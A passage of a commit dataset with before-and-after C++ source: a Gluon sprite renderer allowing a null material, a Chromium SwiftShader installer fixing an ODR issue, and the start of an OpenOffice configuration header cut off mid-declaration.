of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"spriterenderercomponent.h\"\n\n#include <texture.h>\n#include <game.h>\n\n#include \"graphics\/item.h\"\n#include \"graphics\/engine.h\"\n#include \"graphics\/material.h\"\n#include \"graphics\/mesh.h\"\n#include \"graphics\/materialinstance.h\"\n#include \"engine\/gameobject.h\"\n#include \"engine\/asset.h\"\n\n#include <QtGui\/QMatrix4x4>\n#include <QtGui\/QColor>\n#include <QtCore\/QMimeData>\n#include <QtCore\/QVariant>\n\nREGISTER_OBJECTTYPE( GluonEngine, SpriteRendererComponent )\n\nusing namespace GluonEngine;\n\nclass SpriteRendererComponent::SpriteRendererComponentPrivate\n{\n public:\n SpriteRendererComponentPrivate()\n {\n item = 0;\n texture = 0;\n material = 0;\n size = QSizeF( 1.0f, 1.0f );\n color.setRgb( 255, 255, 255 );\n }\n\n GluonGraphics::Item* item;\n GluonEngine::Asset* texture;\n GluonGraphics::MaterialInstance* material;\n\n QColor color;\n QSizeF size;\n};\n\nSpriteRendererComponent::SpriteRendererComponent( QObject* parent )\n : Component( parent )\n , d( new SpriteRendererComponentPrivate )\n{\n\n}\n\nSpriteRendererComponent::SpriteRendererComponent( const SpriteRendererComponent& other )\n : Component( other )\n , d( other.d )\n{\n}\n\nSpriteRendererComponent::~SpriteRendererComponent()\n{\n delete d;\n}\n\nQString SpriteRendererComponent::category() const\n{\n return QString( \"Graphics Rendering\" );\n}\n\nvoid SpriteRendererComponent::initialize()\n{\n if( !d->item )\n {\n d->item = GluonGraphics::Engine::instance()->createItem( \"default\" );\n }\n\n if( d->material )\n {\n Asset* materialAsset = qobject_cast<Asset*>( d->material->parent() );\n if( materialAsset )\n materialAsset->load();\n\n Asset* texture = 0;\n if( d->material->property( \"texture0\" ).type() == QVariant::String )\n texture = gameProject()->findChild<Asset*>( d->material->property( \"texture0\" ).toString() );\n else\n texture = qobject_cast<Asset*>( GluonCore::GluonObjectFactory::instance()->wrappedObject( d->material->property( \"texture0\" ) ) );\n\n if( texture )\n texture->load();\n d->item->setMaterialInstance( d->material );\n }\n}\n\nvoid SpriteRendererComponent::start()\n{\n}\n\nvoid SpriteRendererComponent::draw( int timeLapse )\n{\n Q_UNUSED( timeLapse )\n\n if( d->item )\n {\n QMatrix4x4 transform = gameObject()->transform();\n transform.scale( d->size.width() \/ 2, d->size.height() \/ 2 );\n d->item->setTransform( transform );\n }\n}\n\nvoid SpriteRendererComponent::cleanup()\n{\n if( d->item )\n {\n GluonGraphics::Engine::instance()->destroyItem( d->item );\n d->item = 0;\n }\n}\n\nvoid SpriteRendererComponent::setSize( const QSizeF& size )\n{\n d->size = size;\n}\n\nQSizeF SpriteRendererComponent::size()\n{\n return d->size;\n}\n\nGluonGraphics::MaterialInstance*\nSpriteRendererComponent::material()\n{\n return d->material;\n}\n\nvoid SpriteRendererComponent::setMaterial( GluonGraphics::MaterialInstance* material )\n{\n if( !material )\n return;\n\n d->material = material;\n\n if( d->item )\n d->item->setMaterialInstance( material );\n}\n\nvoid SpriteRendererComponent::setMaterial( const QString& path )\n{\n setMaterial( qobject_cast<GluonGraphics::MaterialInstance*>( Game::instance()->gameProject()->findItemByName( path ) ) );\n}\n\nQ_EXPORT_PLUGIN2( gluon_component_spriterenderer, GluonEngine::SpriteRendererComponent );\n\n#include \"spriterenderercomponent.moc\"\n<commit_msg>Allow the materialInstance property to be set to 0.<commit_after>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"spriterenderercomponent.h\"\n\n#include <texture.h>\n#include <game.h>\n\n#include \"graphics\/item.h\"\n#include \"graphics\/engine.h\"\n#include \"graphics\/material.h\"\n#include \"graphics\/mesh.h\"\n#include \"graphics\/materialinstance.h\"\n#include \"engine\/gameobject.h\"\n#include \"engine\/asset.h\"\n\n#include <QtGui\/QMatrix4x4>\n#include <QtGui\/QColor>\n#include <QtCore\/QMimeData>\n#include <QtCore\/QVariant>\n\nREGISTER_OBJECTTYPE( GluonEngine, SpriteRendererComponent )\n\nusing namespace GluonEngine;\n\nclass SpriteRendererComponent::SpriteRendererComponentPrivate\n{\n public:\n SpriteRendererComponentPrivate()\n {\n item = 0;\n texture = 0;\n material = 0;\n size = QSizeF( 1.0f, 1.0f );\n color.setRgb( 255, 255, 255 );\n }\n\n GluonGraphics::Item* item;\n GluonEngine::Asset* texture;\n GluonGraphics::MaterialInstance* material;\n\n QColor color;\n QSizeF size;\n};\n\nSpriteRendererComponent::SpriteRendererComponent( QObject* parent )\n : Component( parent )\n , d( new SpriteRendererComponentPrivate )\n{\n\n}\n\nSpriteRendererComponent::SpriteRendererComponent( const SpriteRendererComponent& other )\n : Component( other )\n , d( other.d )\n{\n}\n\nSpriteRendererComponent::~SpriteRendererComponent()\n{\n delete d;\n}\n\nQString SpriteRendererComponent::category() const\n{\n return QString( \"Graphics Rendering\" );\n}\n\nvoid SpriteRendererComponent::initialize()\n{\n if( !d->item )\n {\n d->item = GluonGraphics::Engine::instance()->createItem( \"default\" );\n }\n\n if( d->material )\n {\n Asset* materialAsset = qobject_cast<Asset*>( d->material->parent() );\n if( materialAsset )\n materialAsset->load();\n\n Asset* texture = 0;\n if( d->material->property( \"texture0\" ).type() == QVariant::String )\n texture = gameProject()->findChild<Asset*>( d->material->property( \"texture0\" ).toString() );\n else\n texture = qobject_cast<Asset*>( GluonCore::GluonObjectFactory::instance()->wrappedObject( d->material->property( \"texture0\" ) ) );\n\n if( texture )\n texture->load();\n d->item->setMaterialInstance( d->material );\n }\n}\n\nvoid SpriteRendererComponent::start()\n{\n}\n\nvoid SpriteRendererComponent::draw( int timeLapse )\n{\n Q_UNUSED( timeLapse )\n\n if( d->item )\n {\n QMatrix4x4 transform = gameObject()->transform();\n transform.scale( d->size.width() \/ 2, d->size.height() \/ 2 );\n d->item->setTransform( transform );\n }\n}\n\nvoid SpriteRendererComponent::cleanup()\n{\n if( d->item )\n {\n GluonGraphics::Engine::instance()->destroyItem( d->item );\n d->item = 0;\n }\n}\n\nvoid SpriteRendererComponent::setSize( const QSizeF& size )\n{\n d->size = size;\n}\n\nQSizeF SpriteRendererComponent::size()\n{\n return d->size;\n}\n\nGluonGraphics::MaterialInstance*\nSpriteRendererComponent::material()\n{\n return d->material;\n}\n\nvoid SpriteRendererComponent::setMaterial( GluonGraphics::MaterialInstance* material )\n{\n d->material = material;\n\n if( d->item )\n {\n if(material)\n {\n d->item->setMaterialInstance( material );\n }\n else\n {\n d->item->setMaterialInstance(GluonGraphics::Engine::instance()->material(\"default\")->instance(\"default\"));\n }\n }\n}\n\nvoid SpriteRendererComponent::setMaterial( const QString& path )\n{\n setMaterial( qobject_cast<GluonGraphics::MaterialInstance*>( Game::instance()->gameProject()->findItemByName( path ) ) );\n}\n\nQ_EXPORT_PLUGIN2( gluon_component_spriterenderer, GluonEngine::SpriteRendererComponent );\n\n#include \"spriterenderercomponent.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/component_updater\/swiftshader_component_installer.h\"\n\n#include \"base\/base_paths.h\"\n#include \"base\/bind.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/cpu.h\"\n#include \"base\/file_util.h\"\n#include \"base\/files\/file_enumerator.h\"\n#include \"base\/files\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/path_service.h\"\n#include \"base\/strings\/string_util.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/component_updater\/component_updater_service.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/gpu_data_manager.h\"\n#include \"content\/public\/browser\/gpu_data_manager_observer.h\"\n#include \"gpu\/config\/gpu_feature_type.h\"\n\nusing content::BrowserThread;\nusing content::GpuDataManager;\n\nnamespace component_updater {\n\nnamespace {\n\n\/\/ CRX hash. The extension id is: nhfgdggnnopgbfdlpeoalgcjdgfafocg.\nconst uint8 kSha2Hash[] = {0xd7, 0x56, 0x36, 0x6d, 0xde, 0xf6, 0x15, 0x3b,\n 0xf4, 0xe0, 0xb6, 0x29, 0x36, 0x50, 0x5e, 0x26,\n 0xbd, 0x77, 0x8b, 0x8e, 0x35, 0xc2, 0x7e, 0x43,\n 0x52, 0x47, 0x62, 0xed, 0x12, 0xca, 0xcc, 0x6a};\n\n\/\/ File name of the internal SwiftShader plugin on different platforms.\nconst base::FilePath::CharType kSwiftShaderEglName[] =\n FILE_PATH_LITERAL(\"libegl.dll\");\nconst base::FilePath::CharType kSwiftShaderGlesName[] =\n FILE_PATH_LITERAL(\"libglesv2.dll\");\n\nconst char kSwiftShaderManifestName[] = \"SwiftShader\";\n\nconst base::FilePath::CharType kSwiftShaderBaseDirectory[] =\n FILE_PATH_LITERAL(\"SwiftShader\");\n\n\/\/ If we don't have a SwiftShader component, this is the version we claim.\nconst char kNullVersion[] = \"0.0.0.0\";\n\n\/\/ The base directory on windows looks like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\.\nbase::FilePath GetSwiftShaderBaseDirectory() {\n base::FilePath result;\n PathService::Get(chrome::DIR_USER_DATA, &result);\n return result.Append(kSwiftShaderBaseDirectory);\n}\n\n\/\/ SwiftShader has version encoded in the path itself\n\/\/ so we need to enumerate the directories to find the full path.\n\/\/ On success it returns something like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\10.3.44.555\\.\nbool GetLatestSwiftShaderDirectory(base::FilePath* result,\n Version* latest,\n std::vector<base::FilePath>* older_dirs) {\n base::FilePath base_dir = GetSwiftShaderBaseDirectory();\n bool found = false;\n base::FileEnumerator\n file_enumerator(base_dir, false, base::FileEnumerator::DIRECTORIES);\n for (base::FilePath path = file_enumerator.Next(); !path.value().empty();\n path = file_enumerator.Next()) {\n Version version(path.BaseName().MaybeAsASCII());\n if (!version.IsValid())\n continue;\n if (version.CompareTo(*latest) > 0 &&\n base::PathExists(path.Append(kSwiftShaderEglName)) &&\n base::PathExists(path.Append(kSwiftShaderGlesName))) {\n if (found && older_dirs)\n older_dirs->push_back(*result);\n *latest = version;\n *result = path;\n found = true;\n } else {\n if (older_dirs)\n older_dirs->push_back(path);\n }\n }\n return found;\n}\n\nvoid RegisterSwiftShaderWithChrome(const base::FilePath& path) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n GpuDataManager::GetInstance()->RegisterSwiftShaderPath(path);\n}\n\n} \/\/ namespace\n\nclass SwiftShaderComponentInstaller : public ComponentInstaller {\n public:\n explicit SwiftShaderComponentInstaller(const Version& version);\n\n virtual ~SwiftShaderComponentInstaller() {}\n\n virtual void OnUpdateError(int error) OVERRIDE;\n\n virtual bool Install(const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) OVERRIDE;\n\n virtual bool GetInstalledFile(const std::string& file,\n base::FilePath* installed_file) OVERRIDE;\n\n private:\n Version current_version_;\n};\n\nSwiftShaderComponentInstaller::SwiftShaderComponentInstaller(\n const Version& version) : current_version_(version) {\n DCHECK(version.IsValid());\n}\n\nvoid SwiftShaderComponentInstaller::OnUpdateError(int error) {\n NOTREACHED() << \"SwiftShader update error: \" << error;\n}\n\nbool SwiftShaderComponentInstaller::Install(\n const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) {\n std::string name;\n manifest.GetStringASCII(\"name\", &name);\n if (name != kSwiftShaderManifestName)\n return false;\n std::string proposed_version;\n manifest.GetStringASCII(\"version\", &proposed_version);\n Version version(proposed_version.c_str());\n if (!version.IsValid())\n return false;\n if (current_version_.CompareTo(version) >= 0)\n return false;\n if (!base::PathExists(unpack_path.Append(kSwiftShaderEglName)) ||\n !base::PathExists(unpack_path.Append(kSwiftShaderGlesName)))\n return false;\n \/\/ Passed the basic tests. Time to install it.\n base::FilePath path =\n GetSwiftShaderBaseDirectory().AppendASCII(version.GetString());\n if (base::PathExists(path))\n return false;\n if (!base::Move(unpack_path, path))\n return false;\n \/\/ Installation is done. Now tell the rest of chrome.\n current_version_ = version;\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n base::Bind(&RegisterSwiftShaderWithChrome, path));\n return true;\n}\n\nbool SwiftShaderComponentInstaller::GetInstalledFile(\n const std::string& file, base::FilePath* installed_file) {\n return false;\n}\n\nvoid FinishSwiftShaderUpdateRegistration(ComponentUpdateService* cus,\n const Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n CrxComponent swiftshader;\n swiftshader.name = \"Swift Shader\";\n swiftshader.installer = new SwiftShaderComponentInstaller(version);\n swiftshader.version = version;\n swiftshader.pk_hash.assign(kSha2Hash, &kSha2Hash[sizeof(kSha2Hash)]);\n if (cus->RegisterComponent(swiftshader) != ComponentUpdateService::kOk) {\n NOTREACHED() << \"SwiftShader component registration fail\";\n }\n}\n\nclass UpdateChecker : public content::GpuDataManagerObserver {\n public:\n explicit UpdateChecker(ComponentUpdateService* cus);\n\n virtual void OnGpuInfoUpdate() OVERRIDE;\n\n private:\n ComponentUpdateService* cus_;\n};\n\nUpdateChecker::UpdateChecker(ComponentUpdateService* cus)\n : cus_(cus) {\n}\n\nvoid UpdateChecker::OnGpuInfoUpdate() {\n GpuDataManager *gpu_data_manager = GpuDataManager::GetInstance();\n\n if (!gpu_data_manager->GpuAccessAllowed(NULL) ||\n gpu_data_manager->IsFeatureBlacklisted(gpu::GPU_FEATURE_TYPE_WEBGL) ||\n gpu_data_manager->ShouldUseSwiftShader()) {\n gpu_data_manager->RemoveObserver(this);\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n base::FilePath path = GetSwiftShaderBaseDirectory();\n\n Version version(kNullVersion);\n GetLatestSwiftShaderDirectory(&path, &version, NULL);\n\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n base::Bind(&FinishSwiftShaderUpdateRegistration, cus_, version));\n }\n}\n\n\/\/ Check if there already is a version of swiftshader installed,\n\/\/ and if so register it.\nvoid RegisterSwiftShaderPath(ComponentUpdateService* cus) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n base::FilePath path = GetSwiftShaderBaseDirectory();\n if (!base::PathExists(path)) {\n if (!base::CreateDirectory(path)) {\n NOTREACHED() << \"Could not create SwiftShader directory.\";\n return;\n }\n }\n\n Version version(kNullVersion);\n std::vector<base::FilePath> older_dirs;\n if (GetLatestSwiftShaderDirectory(&path, &version, &older_dirs))\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n base::Bind(&RegisterSwiftShaderWithChrome, path));\n\n UpdateChecker *update_checker = new UpdateChecker(cus);\n GpuDataManager::GetInstance()->AddObserver(update_checker);\n update_checker->OnGpuInfoUpdate();\n \/\/ We leak update_checker here, because it has to stick around for the life\n \/\/ of the GpuDataManager.\n\n \/\/ Remove older versions of SwiftShader.\n for (std::vector<base::FilePath>::iterator iter = older_dirs.begin();\n iter != older_dirs.end(); ++iter) {\n base::DeleteFile(*iter, true);\n }\n}\n\nvoid RegisterSwiftShaderComponent(ComponentUpdateService* cus) {\n#if defined(ENABLE_SWIFTSHADER)\n base::CPU cpu;\n\n if (!cpu.has_sse2())\n return;\n BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,\n base::Bind(&RegisterSwiftShaderPath, cus));\n#endif\n}\n\n} \/\/ namespace component_updater\n\n<commit_msg>Fixes an ODR for the UpdateChecker class in the component updater.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/component_updater\/swiftshader_component_installer.h\"\n\n#include \"base\/base_paths.h\"\n#include \"base\/bind.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/cpu.h\"\n#include \"base\/file_util.h\"\n#include \"base\/files\/file_enumerator.h\"\n#include \"base\/files\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/path_service.h\"\n#include \"base\/strings\/string_util.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/component_updater\/component_updater_service.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/gpu_data_manager.h\"\n#include \"content\/public\/browser\/gpu_data_manager_observer.h\"\n#include \"gpu\/config\/gpu_feature_type.h\"\n\nusing content::BrowserThread;\nusing content::GpuDataManager;\n\nnamespace component_updater {\n\nnamespace {\n\n\/\/ CRX hash. The extension id is: nhfgdggnnopgbfdlpeoalgcjdgfafocg.\nconst uint8 kSha2Hash[] = {0xd7, 0x56, 0x36, 0x6d, 0xde, 0xf6, 0x15, 0x3b,\n 0xf4, 0xe0, 0xb6, 0x29, 0x36, 0x50, 0x5e, 0x26,\n 0xbd, 0x77, 0x8b, 0x8e, 0x35, 0xc2, 0x7e, 0x43,\n 0x52, 0x47, 0x62, 0xed, 0x12, 0xca, 0xcc, 0x6a};\n\n\/\/ File name of the internal SwiftShader plugin on different platforms.\nconst base::FilePath::CharType kSwiftShaderEglName[] =\n FILE_PATH_LITERAL(\"libegl.dll\");\nconst base::FilePath::CharType kSwiftShaderGlesName[] =\n FILE_PATH_LITERAL(\"libglesv2.dll\");\n\nconst char kSwiftShaderManifestName[] = \"SwiftShader\";\n\nconst base::FilePath::CharType kSwiftShaderBaseDirectory[] =\n FILE_PATH_LITERAL(\"SwiftShader\");\n\n\/\/ If we don't have a SwiftShader component, this is the version we claim.\nconst char kNullVersion[] = \"0.0.0.0\";\n\n\/\/ The base directory on windows looks like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\.\nbase::FilePath GetSwiftShaderBaseDirectory() {\n base::FilePath result;\n PathService::Get(chrome::DIR_USER_DATA, &result);\n return result.Append(kSwiftShaderBaseDirectory);\n}\n\n\/\/ SwiftShader has version encoded in the path itself\n\/\/ so we need to enumerate the directories to find the full path.\n\/\/ On success it returns something like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\10.3.44.555\\.\nbool GetLatestSwiftShaderDirectory(base::FilePath* result,\n Version* latest,\n std::vector<base::FilePath>* older_dirs) {\n base::FilePath base_dir = GetSwiftShaderBaseDirectory();\n bool found = false;\n base::FileEnumerator\n file_enumerator(base_dir, false, base::FileEnumerator::DIRECTORIES);\n for (base::FilePath path = file_enumerator.Next(); !path.value().empty();\n path = file_enumerator.Next()) {\n Version version(path.BaseName().MaybeAsASCII());\n if (!version.IsValid())\n continue;\n if (version.CompareTo(*latest) > 0 &&\n base::PathExists(path.Append(kSwiftShaderEglName)) &&\n base::PathExists(path.Append(kSwiftShaderGlesName))) {\n if (found && older_dirs)\n older_dirs->push_back(*result);\n *latest = version;\n *result = path;\n found = true;\n } else {\n if (older_dirs)\n older_dirs->push_back(path);\n }\n }\n return found;\n}\n\nvoid RegisterSwiftShaderWithChrome(const base::FilePath& path) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n GpuDataManager::GetInstance()->RegisterSwiftShaderPath(path);\n}\n\nclass SwiftShaderComponentInstaller : public ComponentInstaller {\n public:\n explicit SwiftShaderComponentInstaller(const Version& version);\n\n virtual ~SwiftShaderComponentInstaller() {}\n\n virtual void OnUpdateError(int error) OVERRIDE;\n\n virtual bool Install(const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) OVERRIDE;\n\n virtual bool GetInstalledFile(const std::string& file,\n base::FilePath* installed_file) OVERRIDE;\n\n private:\n Version current_version_;\n};\n\nSwiftShaderComponentInstaller::SwiftShaderComponentInstaller(\n const Version& version) : current_version_(version) {\n DCHECK(version.IsValid());\n}\n\nvoid SwiftShaderComponentInstaller::OnUpdateError(int error) {\n NOTREACHED() << \"SwiftShader update error: \" << error;\n}\n\nbool SwiftShaderComponentInstaller::Install(\n const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) {\n std::string name;\n manifest.GetStringASCII(\"name\", &name);\n if (name != kSwiftShaderManifestName)\n return false;\n std::string proposed_version;\n manifest.GetStringASCII(\"version\", &proposed_version);\n Version version(proposed_version.c_str());\n if (!version.IsValid())\n return false;\n if (current_version_.CompareTo(version) >= 0)\n return false;\n if (!base::PathExists(unpack_path.Append(kSwiftShaderEglName)) ||\n !base::PathExists(unpack_path.Append(kSwiftShaderGlesName)))\n return false;\n \/\/ Passed the basic tests. Time to install it.\n base::FilePath path =\n GetSwiftShaderBaseDirectory().AppendASCII(version.GetString());\n if (base::PathExists(path))\n return false;\n if (!base::Move(unpack_path, path))\n return false;\n \/\/ Installation is done. Now tell the rest of chrome.\n current_version_ = version;\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n base::Bind(&RegisterSwiftShaderWithChrome, path));\n return true;\n}\n\nbool SwiftShaderComponentInstaller::GetInstalledFile(\n const std::string& file, base::FilePath* installed_file) {\n return false;\n}\n\nvoid FinishSwiftShaderUpdateRegistration(ComponentUpdateService* cus,\n const Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n CrxComponent swiftshader;\n swiftshader.name = \"Swift Shader\";\n swiftshader.installer = new SwiftShaderComponentInstaller(version);\n swiftshader.version = version;\n swiftshader.pk_hash.assign(kSha2Hash, &kSha2Hash[sizeof(kSha2Hash)]);\n if (cus->RegisterComponent(swiftshader) != ComponentUpdateService::kOk) {\n NOTREACHED() << \"SwiftShader component registration fail\";\n }\n}\n\nclass UpdateChecker : public content::GpuDataManagerObserver {\n public:\n explicit UpdateChecker(ComponentUpdateService* cus);\n\n virtual void OnGpuInfoUpdate() OVERRIDE;\n\n private:\n ComponentUpdateService* cus_;\n};\n\nUpdateChecker::UpdateChecker(ComponentUpdateService* cus)\n : cus_(cus) {\n}\n\nvoid UpdateChecker::OnGpuInfoUpdate() {\n GpuDataManager *gpu_data_manager = GpuDataManager::GetInstance();\n\n if (!gpu_data_manager->GpuAccessAllowed(NULL) ||\n gpu_data_manager->IsFeatureBlacklisted(gpu::GPU_FEATURE_TYPE_WEBGL) ||\n gpu_data_manager->ShouldUseSwiftShader()) {\n gpu_data_manager->RemoveObserver(this);\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n base::FilePath path = GetSwiftShaderBaseDirectory();\n\n Version version(kNullVersion);\n GetLatestSwiftShaderDirectory(&path, &version, NULL);\n\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n base::Bind(&FinishSwiftShaderUpdateRegistration, cus_, version));\n }\n}\n\n#if defined(ENABLE_SWIFTSHADER)\n\n\/\/ Check if there already is a version of swiftshader installed,\n\/\/ and if so register it.\nvoid RegisterSwiftShaderPath(ComponentUpdateService* cus) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n base::FilePath path = GetSwiftShaderBaseDirectory();\n if (!base::PathExists(path)) {\n if (!base::CreateDirectory(path)) {\n NOTREACHED() << \"Could not create SwiftShader directory.\";\n return;\n }\n }\n\n Version version(kNullVersion);\n std::vector<base::FilePath> older_dirs;\n if (GetLatestSwiftShaderDirectory(&path, &version, &older_dirs))\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n base::Bind(&RegisterSwiftShaderWithChrome, path));\n\n UpdateChecker *update_checker = new UpdateChecker(cus);\n GpuDataManager::GetInstance()->AddObserver(update_checker);\n update_checker->OnGpuInfoUpdate();\n \/\/ We leak update_checker here, because it has to stick around for the life\n \/\/ of the GpuDataManager.\n\n \/\/ Remove older versions of SwiftShader.\n for (std::vector<base::FilePath>::iterator iter = older_dirs.begin();\n iter != older_dirs.end(); ++iter) {\n base::DeleteFile(*iter, true);\n }\n}\n\n#endif \/\/ ENABLE_SWIFTSHADER\n\n} \/\/ namespace\n\nvoid RegisterSwiftShaderComponent(ComponentUpdateService* cus) {\n#if defined(ENABLE_SWIFTSHADER)\n base::CPU cpu;\n\n if (!cpu.has_sse2())\n return;\n BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,\n base::Bind(&RegisterSwiftShaderPath, cus));\n#endif\n}\n\n} \/\/ namespace component_updater\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: confeventhelpers.hxx,v $\n *\n * $Revision: 1.11 $\n *\n * last change: $Author: ihi $ $Date: 2007-11-23 14:01:04 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef CONFIGMGR_API_EVENTHELPERS_HXX_\n#define CONFIGMGR_API_EVENTHELPERS_HXX_\n\n#ifndef CONFIGMGR_API_EVENTS_HXX_\n#include \"confevents.hxx\"\n#endif\n\n#ifndef CONFIGMGR_CONFIGPATH_HXX_\n#include \"configpath.hxx\"\n#endif\n\n#ifndef _COM_SUN_STAR_UNO_RUNTIMEEXCEPTION_HPP_\n#include <com\/sun\/star\/uno\/RuntimeException.hpp>\n#endif\n\n#ifndef _OSL_DIAGNOSE_H_\n#include <osl\/diagnose.h>\n#endif\n#ifndef _OSL_MUTEX_HXX_\n#include <osl\/mutex.hxx>\n#endif\n\n#ifndef INCLUDED_MAP\n#include <map>\n#define INCLUDED_MAP\n#endif\n#ifndef INCLUDED_FUNCTIONAL\n#include <functional>\n#define INCLUDED_FUNCTIONAL\n#endif\n#include <hash_set>\n#ifndef INCLUDED_SET\n#include <set>\n#define INCLUDED_SET\n#endif\n\nnamespace configmgr\n{\n namespace internal\n {\n\n using namespace configuration;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template <class ListenerRef>\n class BroadcastImplHelper\n {\n public:\n osl::Mutex mutex;\n\n public:\n BroadcastImplHelper()\n {}\n\n ~BroadcastImplHelper()\n {\n OSL_ENSURE(m_aInterfaces.empty(), \"Configuration Broadcaster was not disposed properly\");\n }\n\n public:\n typedef std::set<ListenerRef> Interfaces;\n typedef typename Interfaces::iterator FullIterator;\n typedef typename Interfaces::const_iterator Iterator;\n\n public:\n FullIterator addListener(ListenerRef aListener)\n {\n return m_aInterfaces.insert(aListener).first;\n }\n void removeListener(ListenerRef aListener)\n {\n m_aInterfaces.erase(aListener);\n }\n\n void disposing(IConfigBroadcaster* pSource);\n\n public:\n Iterator begin() const { return m_aInterfaces.begin(); }\n Iterator end() const { return m_aInterfaces.end(); }\n\n Iterator find(ListenerRef aListener) const { return m_aInterfaces.find(aListener); }\n FullIterator findFull(ListenerRef aListener) { return m_aInterfaces.find(aListener); }\n private:\n Interfaces m_aInterfaces;\n\n \/\/ no implementation - not copyable\n BroadcastImplHelper(BroadcastImplHelper&);\n void operator=(BroadcastImplHelper&);\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template <class Listener>\n void BroadcastImplHelper<Listener>::disposing(IConfigBroadcaster* pSource)\n {\n osl::ClearableMutexGuard aGuard(this->mutex); \/\/ ensure that no notifications are running\n\n Interfaces aTargets;\n aTargets.swap(m_aInterfaces);\n\n aGuard.clear();\n for(FullIterator it = aTargets.begin(); it != aTargets.end(); )\n {\n FullIterator cur = it++;\n if (*cur)\n (*cur)->disposing(pSource);\n }\n }\n\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n class NodeListenerInfo\n {\n public:\n typedef std::hash_set<AbsolutePath, Path::Hash, 